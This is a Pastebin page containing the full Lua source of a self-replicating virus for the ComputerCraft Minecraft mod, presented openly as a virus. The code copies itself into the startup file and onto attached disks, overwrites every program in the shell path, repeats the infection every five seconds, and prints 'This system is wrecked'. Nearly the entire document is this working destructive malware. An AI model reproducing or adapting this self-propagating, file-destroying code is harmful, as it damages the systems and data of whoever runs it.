Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local xpayload = [[
- -- evalquine resident ComputerCraft virus
- -- by GreaseMonkey, 2012-04-04
- local payload, xshell
- payload, xshell = ...
- local function wreck_everything()
- local function split(s,token)
- local l = {}
- local pos = 1
- while pos <= #s do
- local npos = string.find(s,token,pos,true)
- if npos == nil then
- break
- end
- l[#l+1] = string.sub(s,pos,npos-1)
- pos = npos+1
- end
- l[#l+1] = string.sub(s,pos)
- return l
- end
- local function infect_startup_unsafe(xto)
- if fs.exists(xto) then
- fs.delete(xto)
- end
- local fp = io.open(xto,"w")
- fp:write("local xpayload = [".."[\n")
- fp:write(payload)
- fp:write("]".."]\nloadstring(xpayload)(xpayload,shell)\n")
- fp:close()
- end
- local function infect_startup(xto)
- local r,s
- r,s = pcall(infect_startup_unsafe, xto)
- if not r then
- print("FAIL "..xto..": "..s)
- end
- end
- -- infect /startup
- infect_startup("startup")
- -- infect any disks
- -- based on code in /rom/programs/shell
- for k,side in pairs(redstone.getSides()) do
- if disk.isPresent(side) then
- local target = disk.getMountPath(side)
- infect_startup(fs.combine(target,"startup"))
- end
- end
- -- wreck everything in shell.path
- local spath = xshell.path()
- --local spath = ".:/rom/programs:/rom/programs/turtle:/rom/programs/computer:/rom/programs/http"
- for k,p in ipairs(split(spath,":")) do
- local pref = string.sub(p,1,1)
- if pref == "/" or pref == "\\" then
- for k,name in ipairs(fs.list(p)) do
- -- try to infect the file in question
- local r = pcall(infect_startup_unsafe, fs.combine(p,name))
- if not r then
- -- we couldn't infect it - infect it in the root instead.
- infect_startup(name)
- end
- end
- end
- os.sleep(0.05)
- end
- end
- local function wrecker()
- while true do
- os.sleep(5)
- wreck_everything()
- end
- end
- -- call wreck_everything
- wreck_everything()
- print("This system is wrecked")
- -- now bring up a shell
- parallel.waitForAll(
- wrecker, function()
- xshell.run("/rom/programs/shell")
- end
- )
- ]]
- loadstring(xpayload)(xpayload,shell)
Add Comment
Please, Sign In to add comment